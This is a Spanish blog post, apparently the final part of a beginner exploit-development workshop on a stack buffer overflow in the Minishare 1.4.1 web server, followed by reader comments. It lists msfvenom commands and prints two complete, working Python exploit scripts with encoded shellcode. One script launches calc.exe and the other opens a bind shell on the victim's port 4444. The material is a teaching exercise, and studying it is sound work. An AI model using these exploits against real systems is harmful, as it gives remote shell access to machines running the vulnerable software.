Taller de iniciación al exploiting: desbordamiento de pila (4) - ejecución del shellcode

En las entradas anteriores de esta serie hemos sido capaces de provocar un desbordamiento de pila en un programa (Minishare) y controlar su flujo de ejecución para redireccionarlo hacia donde hemos preparado la ubicación de nuestro shellcode, así que ya sólo nos queda crear ese shellcode e insertarlo en nuestro exploit para que sea completamente funcional.

Para ello usaremos msfvenom, una utilidad de Metasploit con la que podremos generar y encodear fácilmente payloads.

Primero generaremos un payload para ejecutar la típica calculadora como prueba de concepto. Tenemos que aseguraremos que el shellcode que se crea esté libre de los caracteres incorrectos o "bad characters" más usuales "\x00\x0a\x0d" que, de no eliminarse, podrían hacer que el shellcode sea inviable. El comando resultante sería:

msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python


Lo copiamos y pegamos a nuestro exploit:

EXPLOIT K
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

# msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python

shellcode =  ""
shellcode += "\xba\x6a\xfc\x07\x12\xd9\xe8\xd9\x74\x24\xf4\x5e\x29"
shellcode += "\xc9\xb1\x31\x83\xee\xfc\x31\x56\x0f\x03\x56\x65\x1e"
shellcode += "\xf2\xee\x91\x5c\xfd\x0e\x61\x01\x77\xeb\x50\x01\xe3"
shellcode += "\x7f\xc2\xb1\x67\x2d\xee\x3a\x25\xc6\x65\x4e\xe2\xe9"
shellcode += "\xce\xe5\xd4\xc4\xcf\x56\x24\x46\x53\xa5\x79\xa8\x6a"
shellcode += "\x66\x8c\xa9\xab\x9b\x7d\xfb\x64\xd7\xd0\xec\x01\xad"
shellcode += "\xe8\x87\x59\x23\x69\x7b\x29\x42\x58\x2a\x22\x1d\x7a"
shellcode += "\xcc\xe7\x15\x33\xd6\xe4\x10\x8d\x6d\xde\xef\x0c\xa4"
shellcode += "\x2f\x0f\xa2\x89\x80\xe2\xba\xce\x26\x1d\xc9\x26\x55"
shellcode += "\xa0\xca\xfc\x24\x7e\x5e\xe7\x8e\xf5\xf8\xc3\x2f\xd9"
shellcode += "\x9f\x80\x23\x96\xd4\xcf\x27\x29\x38\x64\x53\xa2\xbf"
shellcode += "\xab\xd2\xf0\x9b\x6f\xbf\xa3\x82\x36\x65\x05\xba\x29"
shellcode += "\xc6\xfa\x1e\x21\xea\xef\x12\x68\x60\xf1\xa1\x16\xc6"
shellcode += "\xf1\xb9\x18\x76\x9a\x88\x93\x19\xdd\x14\x76\x5e\x11"
shellcode += "\x5f\xdb\xf6\xba\x06\x89\x4b\xa7\xb8\x67\x8f\xde\x3a"
shellcode += "\x82\x6f\x25\x22\xe7\x6a\x61\xe4\x1b\x06\xfa\x81\x1b"
shellcode += "\xb5\xfb\x83\x7f\x58\x68\x4f\xae\xff\x08\xea\xae"


exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

y al ejecutarlo, debería abrirse la calculadora como se muestra a continuación:


Ahora que vemos que todo ha funcionado correctamente llegamos al último y digamos "más práctico" exploit, que si una víctima ejecuta en un equipo con el servidor Minishare vulnerable, hará que levante una shell directa o bind.

Volvemos a generarlo también con msfvenom:

msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -b '\x00\x0d\x0a' -e x86/shikata_ga_nai -f python


Fijaros que el tamaño del payload es 326 bytes, espacio suficiente puesto que habíamos alojado hasta 409. Lo incorporamos al exploit final y ejecutamos:

EXPLOIT L
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

# msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -b '\x00\x0d\x0a' -e x86/shikata_ga_nai -f python

shellcode =  ""
shellcode += "\xba\x8c\x69\x1e\x49\xda\xd1\xd9\x74\x24\xf4\x5f\x2b"
shellcode += "\xc9\xb1\x4b\x31\x57\x15\x03\x57\x15\x83\xc7\x04\xe2"
shellcode += "\x79\x95\xf6\xcb\x81\x66\x07\xac\x08\x83\x36\xec\x6e"
shellcode += "\xc7\x69\xdc\xe5\x85\x85\x97\xab\x3d\x1d\xd5\x63\x31"
shellcode += "\x96\x50\x55\x7c\x27\xc8\xa5\x1f\xab\x13\xf9\xff\x92"
shellcode += "\xdb\x0c\x01\xd2\x06\xfc\x53\x8b\x4d\x52\x44\xb8\x18"
shellcode += "\x6e\xef\xf2\x8d\xf6\x0c\x42\xaf\xd7\x82\xd8\xf6\xf7"
shellcode += "\x25\x0c\x83\xbe\x3d\x51\xae\x09\xb5\xa1\x44\x88\x1f"
shellcode += "\xf8\xa5\x26\x5e\x34\x54\x37\xa6\xf3\x87\x42\xde\x07"
shellcode += "\x35\x54\x25\x75\xe1\xd1\xbe\xdd\x62\x41\x1b\xdf\xa7"
shellcode += "\x17\xe8\xd3\x0c\x5c\xb6\xf7\x93\xb1\xcc\x0c\x1f\x34"
shellcode += "\x03\x85\x5b\x12\x87\xcd\x38\x3b\x9e\xab\xef\x44\xc0"
shellcode += "\x13\x4f\xe0\x8a\xbe\x84\x99\xd0\xd6\x69\x93\xea\x26"
shellcode += "\xe6\xa4\x99\x14\xa9\x1e\x36\x15\x22\xb8\xc1\x5a\x19"
shellcode += "\x7c\x5d\xa5\xa2\x7c\x77\x62\xf6\x2c\xef\x43\x77\xa7"
shellcode += "\xef\x6c\xa2\x5d\xfb\xcb\x1d\x43\x06\x81\x9c\xe9\xfb"
shellcode += "\x3e\x75\xe2\x24\x5e\x76\x29\x4d\xf7\x8b\xd1\x63\x54"
shellcode += "\x05\x37\xe9\x74\x43\xe0\x86\xb6\xb0\x39\x30\xc8\x92"
shellcode += "\xc0\x7e\x43\x45\x9d\x16\x1b\x9c\x19\x18\x9c\x8a\x0e"
shellcode += "\x8e\x17\xd9\x8b\xaf\x27\xf4\xbc\xb8\xb0\x82\x2c\x8a"
shellcode += "\x21\x92\x65\x7e\xa2\x06\x81\x29\xf5\xbe\x8b\x0c\x31"
shellcode += "\x61\x74\x7b\x41\x66\x8a\xfa\x6b\x1c\xbc\x68\x34\x4a"
shellcode += "\xc0\x7c\xb4\x8a\x96\x16\xb4\xe2\x4e\x43\xe7\x17\x91"
shellcode += "\x5e\x9b\x8b\x07\x61\xca\x78\x80\x09\xf0\xa7\xe6\x95"
shellcode += "\x0b\x82\x75\xd1\xf4\x53\x7e\x23\x36\x82\x46\x56\x51"
shellcode += "\x16"

exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

Si comprobamos los puertos abiertos (netstat -a) veremos que la shell ya está levantada escuchando en el puerto 4444:


Por lo que podríamos conectarnos a la máquina de la víctima y todo a raíz de una vulnerabilidad de desbordamiento de pila...



Y hasta aquí hemos llegado con el taller de iniciación del exploiting. Espero que hayáis disfrutado y aprendido tanto como nosotros y que estos artículos sean sólo el principio de una serie de ejercicios con los que iremos repasando y descubriendo nuevas técnicas de esta fascinante "rama" del hacking. ¡Hasta la próxima!

Fuentes:

- Taller "Palizón a la pila" de la Navaja Negra 2017
- Minishare 1.4.1 Bufferoverflow
- Exploting Buffer Overflow Minishare 1.4.1
- Smashing the Stack for Fun & Profit : Revived 


Taller de iniciación al exploiting: desbordamiento de pila
1.- sobrescribiendo el EIP
2.- controlando el flujo de la aplicación
3.- "acomodando" el espacio para nuestro payload
4.- ejecución del shellcode

4 comentarios :

  1. ¿Qué papel puede jugar este tipo de explotación en la actualidad con los sistemas preventivos como ASLR, DEP, NX...?

    ResponderEliminar
    Respuestas
    1. Creo que eso vendrá más adelante. Supongo que en algún momento se dará el salto a WinDBG, lo que me vendrá genial porque WinDBG es una puta pesadilla.

      Eliminar
  2. Me ha encantado este tutorial!
    Limpio, claro, y con una curva de aprendizaje adecuada.
    GRACIAS!

    ResponderEliminar
    Respuestas
    1. me alegra que te haya gustado. A ver si pronto hacemos más posts similares de exploiting, con más técnicas :)

      Eliminar